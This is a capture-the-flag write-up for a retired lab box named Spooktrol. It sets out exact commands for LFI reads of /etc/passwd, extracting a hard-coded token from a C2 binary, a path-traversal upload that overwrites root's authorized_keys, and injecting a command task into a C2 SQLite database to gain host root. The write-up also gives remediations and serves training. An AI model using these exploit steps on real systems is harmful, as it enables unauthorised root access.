Spooktrol
Summary
I scanned the target and found two SSH services (ports 22 and 2222) and an HTTP-based malware command-and-control (C2) framework on port 80. By downloading the C2 agent binary from an unauthenticated endpoint and reverse-engineering it, I extracted a hard-coded authentication token and learned the JSON tasking protocol the agent uses to receive instructions.
A local-file-inclusion flaw in the file-serving API confirmed the process ran as root inside a container. A directory-traversal vulnerability in the file-upload endpoint, abused with the extracted token, let me overwrite the container root account's authorized SSH keys, granting an interactive root shell via the second SSH listener and the first flag.
From inside I found the C2's SQLite task database stored on a volume accessible to container-root, enumerated the host-side agent session, and inserted a command-execution task directly into the database. When the host agent polled the C2 server and ran the queued task, it executed as root on the underlying host machine, delivering the final flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export TOKEN="<the-token-you-captured>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 3
Identify all three listening services and their banners.
$ nmap -Pn -sV -p22,80,2222 $TARGETProbe HTTP headers to fingerprint the server technology.
$ curl -sI http://$TARGET/Confirm the agent-download route is unauthenticated and save the binary.
$ curl -sS "http://$TARGET/file_management/?file=implant" -o implant && file implantExact commands 3
Quick scan for hard-coded tokens, URLs, and API route names.
$ strings implant | grep -E 'auth|Cookie|poll|task|upload|http|://'Confirm architecture and dynamic dependencies before opening in Ghidra.
$ readelf -a implant | grep -E 'NEEDED|Entry|Type'Disassemble around the polling function to understand the C2 request loop; load in Ghidra for full decompilation.
$ objdump -d implant | grep -A 20 'poll'FixRemove hard-coded credentials from the distributed agent binaryCritical
Exact commands 2
Confirm LFI by reading /etc/passwd outside the intended download directory.
$ curl -sS "http://$TARGET/file_management/?file=../../../etc/passwd"Inspect PID 1 command line to identify container vs. Bare-metal and confirm execution context.
$ curl -sS "http://$TARGET/file_management/?file=../../../proc/1/cmdline" | tr '\0' ' 'FixRestrict the file-management endpoint to a strict allowlist of permitted filenamesHigh
Exact commands 2
Generate a throw-away ed25519 keypair if one does not already exist.
$ if [ ! -f /tmp/spook_key ]; then ssh-keygen -q -t ed25519 -N '' -f /tmp/spook_key; fiOverwrite the container root account's authorized_keys with me public key.
$ curl -sS --max-time 12 -X PUT -H "Cookie: auth=$TOKEN" -F 'file=@/tmp/spook_key.pub;filename=../../../../../../../root/.ssh/authorized_keys' "http://$TARGET/file_upload/"FixSanitise upload filenames and drop root privileges on the C2 web processCritical
Exact commands 2
Verify the planted key grants root access inside the container.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'id'Retrieve the user flag: expected -> <user.txt>
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'cat /root/user.txt'Exact commands 4
Locate SQLite database files deployed with the C2 framework.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'find /opt -name "*.db" 2>/dev/null'List all tables to understand the C2 schema.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db ".tables"'Enumerate registered agents; identify the non-container session ID for the host agent.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM agents;"'Inspect existing task rows to confirm column names and integer task-type values.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM tasks LIMIT 10;"'FixPrevent direct write access to the C2 task database from within the containerCritical
Exact commands 2
Insert the exec task for the host agent; adjust column names to match the actual schema if different.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db "INSERT INTO tasks (target,status,task,arg1) VALUES (\"'"$HEX_ID"'\",0,1,\"cat /root/root.txt\");"'Poll until the result column is populated with the root flag value (<root.txt>); re-run after a few seconds if status is still 0.
$ ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT id,target,status,task,result FROM tasks WHERE target=\"'"$HEX_ID"'\" ORDER BY id DESC LIMIT 5;"'Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | tcpwrapped |
| 2222/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.